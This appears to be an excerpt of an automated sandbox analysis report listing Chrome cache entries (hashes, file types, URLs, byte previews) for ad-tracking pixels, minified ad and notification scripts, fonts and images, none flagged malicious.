Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-autocomplete",[],t):"object"==typeof exports?exports["wafer-autocomplete"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-autocomplete"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(i){if(a[i])return a[i].exports;var n=a[i]={i:i,l:!1,exports:{}};return e[i].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var i=window.webpackJsonpwafer_wafers_wafer_autocomplete;window.webpackJsonpwafer_wafers_wafer_autocomplete=function(t,a,r){for(var o,s,l=0,u=[];l<t.length;l++)s=t[l],n[s]&&u.push(n[s][0]),n[s]=0;for(o in a)Object.prototype.hasOwnProperty.call(a,o)&&(e[o]=a[o]);for(i&&i(t,a,r);u.length;)u.shift()()};var a={},n={1:0,2:0};return t.e=function(e){function i(){s.onerror=s.onload=null,clearTimeout(l);var t=n[e];0!==t&&(t&&t[1](new Error("Loading chunk "+e+" failed.")),n[e]=void 0)}var a=n[

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2C%2C
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:H3:X
MD5:	5CD6E5A6E670FE5B4A9C6BB6E30181A2
SHA1:	303A23B65CC6675EED483BE7E8426B3B64013FD4
SHA-256:	4C1E7CA98E56A457702DF54B05786DDB19A3D43CD5CA652BE6944758741CBA67
SHA-512:	0CEB4499D15A36A0F5EB0D165DB07D7DCCACA0CF69401315376B94D02C4D7FABA69119C31F95559D9C946E397B8500B22BE1BE3E2F24F95DB4FEBA440F21A57F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlUi7xLfpsp0hIFDejd-wA=?alt=proto
Preview:	CgkKBw3o3fsAGgA=

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://bpi.rtactivate.com/tag/?id=20909&user_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=57&external_user_id=968062845637553879
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1607
Entropy (8bit):	7.823375754431375
Encrypted:	false
SSDEEP:	24:B5JTfuOX3sAUQTMmP0hEfxmLDQXTVYZMRdY05Ybw5SLG4P2yJ7SOl5J9+3izjWVP:VqOX3sAUQD0WaQbRd75Y1bJ7liSu7
MD5:	BD02F8B54D9F18DD175188C3C305A9A7
SHA1:	A8D47B75717ED1449CF31A78769B19BF558CB54E
SHA-256:	060B915CAFCA5492B9766FA579502FD6DB602935A37C06F8031E5242AD3B6D5C
SHA-512:	DEE3FB554F590304EC0762D4AF8E41B9C01EB8933FB4D4E9DB680E7DCE35DD84CE6C652D89C251735747AA855B7C7D4D3292581AF541F930CC9181527FAEE888
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME.....66......IDATh...o.e...Y..'M.Y..4..$..BI...H.UBB.@.@.P.T.@....!!A..8 .D.-E. q.E.m..v.8.v.....%.g.33N.I..o.........cI.b?0.Hl.z].....(...W..m.x.aD.9_.c...q... '_6.....3.^.........o.>[0..w....V.+...p...-....f.y...~DA ..5o;.......#a.......;..u.../A..Z...[y...}..Azc..Y#Xu.I.1..h....U]S...R.c.u.....:...~.......TKn.T.....0@$.D....K9Q...wo2...%.HM-.....^.<.......yr.Mg~....Gv.X...hO.d...N...8XWK29...(n<..O.un..X.F.j?.(a....>...... ......b..>..wNrwb...K...r...!f.I.n...%......z{[:...~8..n....".P.\|...!PYRRL}]..=.C.".h...Y...p.Q.]S......>.h.....}y..aK -...$.0.....u.."./..C....%.L....fzf&.}...n...H'B.[.\.6........J..$.R./.... ....."y..tsE$.D.E...[.!K..y.>..N.Y}..k...ZD.^...n.7.g~i..>Rn5<..)[aw.......H.s........V...>LB.bG.y.H.b.x. .. I...E..(.+....5U-.E:.b...>...P.5[e..h...IG._..5..[.G.P.rP.[...^..M........5......=..p. .hE.e..7n-.4V..#.s#VT..dAA.....c{[$U...\...2.#.O...w..q-S....<d..S_m

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 175, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	78548
Entropy (8bit):	7.98995148920431
Encrypted:	false
SSDEEP:	1536:9w1e6ybjNua6aL9U4d9L0xTv7jrY3Tb49j0QNmomlWlOvVUtGn6PizMYdGr4:KIpbj8aF94xTvXc300AzIWlOvVgAtzZ
MD5:	740A8D408C259DA5B7A9544ADB33F2CD
SHA1:	E7E964D440C66DDA8FC571B69FFC25D785D2DED8
SHA-256:	00EA2FCE8B03CD469076E88AAE1705903882C0B5FB0DE8EECCC0A42AEE7CF2D4
SHA-512:	D8E3DB15A4BF06D9E2A0ADB3B89D8CB29DDB214152BFD6EFB1C3B965037381E4AFE5B56332C81136A240DD17EA42D04577475251E39B7CA5B616684E34C520C7
Malicious:	false
Reputation:	low
URL:	https://images.mediago.io/ML/5c6e9ed3983c6bd791d9acf6b1bb037a__scv1__300x175.png
Preview:	.PNG........IHDR...,..........Lt.....IDATx.....q..z]g.... ...).:..N.y.[.S..3..-O.r.?8.....E..Lr.....R$..$@.....s..23...f............g.7.......1!..R. n...c....W....O...0./..Wx....7...+...`J{...~...t...#..3.=..R.!@..E......8<%`.c..;E.t..W..I.P.o#..r^....A.4.....+..W......$.nv'......H..V..o.o...!.R..<.@..;H%.R.jkLemm.s.......j.jVWu]i.TUm..Z.c\.d...8cL.+.RJg.1r.V.4.E..PJIY>..`!...G...{..{.7o.:r<......>^.'.C.P....wx.w.=i...9N....B......M...4.p.q..D1.q.=s../....._....u._..<.n..`..h.>I...#....Y..WU....+.h....+.T........Q.dqT..,.Y..`.Ec..T...............>..._....Vf.../v.bV.Q.._6#.7qrK...@.k$....A*U...?.hM.x...A...d:Q...(b....e...Q....b. 0.2Y...Ha..{Or..L...B..E.F!..g.>.&(1"..sw....Q.2..l..t6..$0....l..z^W...r..,l...$q..${y.R...>.'.....x.%.}.WF.v...K.SEL_....3....?...(........)R.\....j...$..<.E..T.U&....&....<..b..+HAz..T....oW..T...<0(........l>......4...)b..0..C .B...,%...,..Q.{.-K,...,.....(.2..m..,..p!)0.i@.h.W.....Q....F.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23456), with no line terminators
Category:	downloaded
Size (bytes):	23456
Entropy (8bit):	5.181806933103112
Encrypted:	false
SSDEEP:	384:rFfD/6GpZNfFQi4mvfm0N+Dzao0QMyb0+qB9M:5b/vLNQi4m3m02zMQMyb05s
MD5:	B6A0718189771E63D6886F3189569AD4
SHA1:	A109885D6A757F4A507504E7BFE171643C9E0991
SHA-256:	671672D5FB51ADA783E99B16B5B961F30CA3BD1B7E4D0EC1723C7A680B0D6394
SHA-512:	23B4AF7391B4D16D54FD898309F4E55E0B3B3840B3E5099BBEB92D9F601E5CFC8156717CB30929640D48149CD58AA5226BDA2C86CDFB3FECA7EBB171A75501A7
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/notifications/js/sh-5.17.22.js
Preview:	!function(){var r="BrowserSubscriptionHelper",i=["chrome","chrome mobile"],p="error",f="info",n="pushNotifications",o="undefined",t="Unsupported Browser.",u="granted",a="denied",c="subscriptions",s="type",d="push",e="display-push-promos",l="js-push-subscribe",h="rapidnofollow",b="subscriptionFail",m="Permission denied by user";function g(e,n,i){this.init(e,n,i)}if(g.prototype={init:function(e,n,i){var r=this;r.beaconer=n,r.tracker=i,r.config={appServerPubKey:e.appServerPubKey,bucket:e.bucket,confirmationNotification:e.confirmationNotification\|\|{},enableIndexedDbDurationBeacon:e.enableIndexedDbDurationBeacon\|\|!1,enablePermissionChangeBeacon:e.enablePermissionChangeBeacon\|\|!1,overlay:e.overlay\|\|{},resubscribeOnChurn:e.resubscribeOnChurn\|\|!1,serviceWorkerScope:e.serviceWorkerScope\|\|"/",serviceWorkerUrl:e.serviceWorkerUrl,spaceId:e.spaceId,subscriptionService:e.subscriptionService\|\|{},supportedBrowsers:e.supportedBrowsers\|\|{},userAgent:e.userAgent\|\|{}},r.appServerPubKeyArr=r.urlB64ToUint8A

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 250, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	104986
Entropy (8bit):	7.995481765981253
Encrypted:	true
SSDEEP:	3072:C9yxnyABnk/Gk3NyWyNI756SMO26BSC1e:pJbmIruUSMPD
MD5:	F9316EB66293A34067CB7616B7360E35
SHA1:	00FFEBA447DD14350CC7809DBED5E3B5D3641514
SHA-256:	287BDC817C33CF97B8E598EF498365986E2FFF53EB7A08EFE403F489305C74BA
SHA-512:	75727F5EDA7AE89CBF068CF80F40B70F76D7404F9F9337B7F470135B92B193FDEAD798AE279A5346233BDA4152B76250C891AE3B3B57AA13B984EAF3F21CC864
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,..........mz.....gAMA......a....IiCCPsRGB IEC61966-2.1..H..SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D..*.A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m....... ......O.

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.292508224289396
Encrypted:	false
SSDEEP:	3:CUmExltxlSle:JAle
MD5:	55FADE2068E7503EAE8D7DDF5EB6BD09
SHA1:	317496A096D6C86486A71D4521994BCD171A6BB3
SHA-256:	E586A84D8523747F42E510D78E141015B6424CF67D612854E892A7BCEDC8EC9E
SHA-512:	A9ADB9FEEA4BC14B9C34ED17CD30F8CB36DC686E9F69A292FE65BEBC195BE4714391FD98EC7B67BFD363FBBB6089C41A0B7CAB5130B50B461748E668CAC75621
Malicious:	false
Reputation:	low
URL:	https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28860, version 1.0
Category:	downloaded
Size (bytes):	28860
Entropy (8bit):	7.992498884153561
Encrypted:	true
SSDEEP:	768:7WIrHYDg8fVb6/UnafVYHsXxVSfRI046OK:7JrHw4snausBVSfRI0EK
MD5:	A99B283070AFC519F4816E4300C515D2
SHA1:	65B78D03D56DE125060E61069DEBFC47E38FB3DF
SHA-256:	FC0E2DF417E7959509DF87DF6B4DE2EB1479C8718BC2D8AB0BC70D3753C68560
SHA-512:	6537ED0ABBB667225D75191881F8498C082F1CBFA22BE27B135AA393AA16011561F1A2EE11B09EA9CF3FE0D7884191B56A702256A0BA41B96EEB7019832C3435
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff2
Preview:	wOF2......p...........pY...........................8..T.`..T.....s.....L..<.....6.$..0. .....,..V[0nq..k...z...7...V.nb....<{..n..q0.nO......I%.K....c.f.?.rw+..@f .(..{&J.9.Z1a.@..2Z.g.....Ful(......AG.%.Mf..<.h.)...^..-.L..l.......O3.}..%..q..8........i..Z.ux.....[.:......\...)[......T..;}...:..'$;.8h.g.b.a...Q...,n].....3.'gO8..G..V..z....]t..,W.U@96.F.r..K..._u.>..8Q{.3.A.p~.....6`..ck.Q....-..dT.%S.hll@.....$........U@...7{.'M.`$.aZ......"p..G..?.......3a-.=...@.X......SaQ.m"..\y...b.........f.y..\wP?0.......{>...v..R._.&..5....C"D..2$.\|y(.....3....Z.R.V................Z-9.m.vd....33..9-`N..,a..tJN..9-....Osz...<......{....a@R..Xd..9%..-?..$NL.R.M..b..d..)..ma..#b...h(.mK..'....9&.P..:....A..%../.o.lMl#MP.F=....R..x......*..K.....{0@.._...r.t'6.-.]j.^.o.[k:......C)..D.e%..;K..[A.-...k.C........4......%\|H.%....A.A...'tO/.+.xMV\2.:.~]..W.....1.3.s.i".a.c.......)#....~..........p..wu.s.].`..e..:..v.:.P.._......_.y.#...d.U@.X.[}.-o.......i7.

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2718)
Category:	downloaded
Size (bytes):	23840
Entropy (8bit):	5.499330723371192
Encrypted:	false
SSDEEP:	384:ZCRT3Adsd88StEj8wTdbZNaTeGS+NvaQV7RrBeDHMDSB1d27RrHcH/zy4nlDWyv1:ZCRT3AmdxStEj/dbZNaiz+NvaQV7TPDs
MD5:	C2479366DBD9D018908EA8733B281489
SHA1:	7BAF69F5AB3F98B4C25E1160D4D92D31E3B1DF66
SHA-256:	428F4D59E61CDF9887AD4CD7C4592A24B214D2D9C0BA09DB01C4CFDE66A3CD11
SHA-512:	A0A4C790ED38E3801BB67431F999C231C8CC619780D5E4B9236677069F7C2E122E0FF133B28690CE38AE42658B3C3C931F310635536E81FA11A6351B441EDD75
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240109/r20110914/abg_lite_fy2021.js
Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var m=this\|\|self;function aa(a,b){a:{var c=["CLOSURE_FLAGS"];for(var d=m,f=0;f<c.length;f++)if(d=d[c[f]],null==d){c=null;break a}c=d}a=c&&c[a];return null!=a?a:b}function ba(a){return a};var ca=aa(610401301,!1),da=aa(572417392,!0);var n;const ea=m.navigator;n=ea?ea.userAgentData\|\|null:null;function fa(a){return ca?n?n.brands.some(({brand:b})=>b&&-1!=b.indexOf(a)):!1:!1}function q(a){var b;a:{if(b=m.navigator)if(b=b.userAgent)break a;b=""}return-1!=b.indexOf(a)};function t(){return ca?!!n&&0<n.brands.length:!1}function ia(){return t()?fa("Chromium"):(q("Chrome")\|\|q("CriOS"))&&!(t()?0:q("Edge"))\|\|q("Silk")};function ja(a,b){return Array.prototype.indexOf.call(a,b,void 0)};function ka(a){ka[" "](a);return a}ka[" "]=function(){};!q("Android")\|\|ia();ia();q("Safari")&&(ia()\|\|(t()?0:q("Coast"))\|\|(t()?0:q("Opera"))\|\|(t()?0:q("Edge"))\|\|(t()?fa("Microsoft Edge"):q("Edg/"))\|\|t()&&fa("

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 536x284, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	7694
Entropy (8bit):	7.976793166538435
Encrypted:	false
SSDEEP:	192:95o+z8kSjITha/zcQ/TXqkpl1+rzsKXuj:9++4kSjea/F/2kpbw/uj
MD5:	FFA1E6B446215E0B17BAB67F0A04629C
SHA1:	B666A11AC9026912247284D496627258116E43F5
SHA-256:	ED681D5AE805046854B3D7D2CFB88F78880173F169F893B824D65A5F834B7751
SHA-512:	026A7AC56BDF65BE23FC9E8E38878163C33325A744299994A388EBCE0D11E0919368AE066325BD54F2B4867AE329C315345D6605172D320DF4DB5A5FE53EB7E9
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/7qp2RE6CtwF.Mj3QKEaNog--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/good_housekeeping_561/a34205bd93de17f457530161dac24aea.cf.webp
Preview:	RIFF....WEBPVP8 .............>y:.I..((.Q.....gn.Z4l.8..n/q.gC>......j...Qjr.S:......]...#zK.V...!.:.;.L..&..nP7.N.9..I.^.......y..y..X.dZ.HS.\|.I..2.......y...{.......a.eF..D.....'...s.D...! .1..."a.c........n.../D.)..S...../....v.$....B..7.NYo76.....T....!.;w...{V........X..~.....#t.....T.o..'.e........7.^g.kX........MTf. ......."...a+.n=aW@:.<iX.`.F...&u.......T}...P....(.Xt..\Q...-Mb0.L$..v.Q....F....k. .p..lX.k..c...i.C..te.wV/...V~8..^..M.............X..j..F.._.Fy5..D.XI..HT.j8.%.....55.Ke.c......C......v...SLpl+.......J.....5t.nf.:...5.~.6i...._.1...y.3...~....Az<..-.b..%.....ZL..FU.....-.N...N-..+....E..&.p....H.~.7...A0..l...Q!..TW.b..+.:..-H.LaLv.3Q.....s..'..ke...5...,.uJ.(.N#.b..bK=....`..T.............y.A....S.`...Vn_y.-.n.....M...I..q....U._&=.C.....\|....+..K...`.r..1hh..Sc%=.6..O2'^.e.K_.SQQ..D..t.#B.......3Y....\....X...W..O..(T8_I.z[SDg..h.....a.....<..W..wi..h..0.{LJ=...+..n5...n..x..Hu.6....].ZE..i.e.M5....s1.Y...,

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2571
Entropy (8bit):	7.899773299884678
Encrypted:	false
SSDEEP:	48:65e0ey4eHNnguCtoFOeAGVxG2DY+yrUbB7/nbc7fpyROZ9kO+dAA:UeI4etnRCtokeAWVY+ygbl/8pRIhN
MD5:	FCA8D1A8FA0BBEDEB822FCC0C3B60AE7
SHA1:	8C6B2B610FF8BECB3063EE50CE3149D3F1C32C1A
SHA-256:	A032B293FBBFE2309E8E2F3CC3E56BEC4FB5DDBA6416164121D53D91B43EC4CE
SHA-512:	553675E0609B9E73151AF12AAE661DEA08BEBF9B49FF0DC5227E1A18E08472F49DE52E6886181C53C64BA8A1959569C3DC09DD60CF0E9C7A2DBAACF35217C3DE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME.....)..-......IDATh..ZiPT....a.Yd.d.DV.d.EE.E.A.Q0......D..p. ......1n.4.I.D.<_.Y.V....R.z?.'.^....w...p.d.[.5w.=....._w.;d...............nC..kS...........k..x...k.g9;.%_...u.s..7..r..&........v...u)&.^.HIK......F`"..(>:hPHcU..k[.'....#...y...7..a{..B..m.vU...k.K..O3......hJ..3.&h..]>...=RKaA:.9....]..(:<..FQ^F...K.cC.......).5.N.XOn.Z#0..w_.-V.Y.H.k....V...V.$d./.T>]:Y...q.s=...[hw."J..Aj..@N........m'?3..F..3..)'m.h.9._x....$..5Qa.DR.l.......F.eM.........X....Z...r.;.Jr`p..v.S.....C.;k...V.f...Rq^.]?.L............./..z..N*..J.BF.C.......X.....C..&<....P.).c...t.~.O.)Q.V...S...`G+....A.iS.[......D...2...7....Iq..~.....C........E.......)gF.U....Oo.<V_..q..H..;.N.(j.h......a.`.>w..R...i.m^7..k.Qgk9.rz..mYDq....b..C...u..?#.39q.eWD...__6K....U.P...........q.Q.i..p:.........E.1.."....l...V..z@... ..i....^..0..3D.r`..+../"&].........kY.J....=.-......L....Sr....a.qe..+?}....(.G.

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2339), with no line terminators
Category:	downloaded
Size (bytes):	2339
Entropy (8bit):	5.740996311278616
Encrypted:	false
SSDEEP:	48:C2Bqsv8GndnR2BqffCN2Bqhybj/5CSmWS5UfTdGnydNnUq:C2Bq3Gn9R2BqH82Bqhybj5PmWS5RnyD9
MD5:	88F31E55F190A76D6BA00E49CB9E648C
SHA1:	0F14F3BBCB6B820E3FBC2B1CD2C00175A37CB6A1
SHA-256:	E245830EC2417BB247680C78326FA7ADF5745ABF360913CC7D720F02DADCFA85
SHA-512:	C27AA6D1E8FBDDAD1BFF8E055301BFA85050196E5E5D02196D3CDE2512A3918D35C4598006A1A6C1E8B02FDBE88B109A53169CC504F7D357EDC23C39F26519B2
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=10958700&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=rxowsCS4R26u1L6NyvpBxA%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3371&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4');PubMatic.loadAsyncImagePixel('https://us01.z.antigena.com/l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&rnd=RND');PubMatic.loadAsyncImagePixel('https://eb2.3lift.com/xuid?mid=7976&xuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&dongle=u6nf&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_hm=QUYxQTMwQjAtMjRCOC00NzZFLUFFRDQtQkU4RENBRkE0MUM0&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pu

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=A342B32A0BAA4852AA53FE42CB7195F6
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2221
Entropy (8bit):	7.8887968992373825
Encrypted:	false
SSDEEP:	48:Php37WYNG/LXrYTZA8ooVx76Jiyf1dFsTGtL+gxnRUVZF7yx:PhozXq96r1fsTmL+XVZFm
MD5:	29F5E115FD41BB0A3EB57A7EACCB87BE
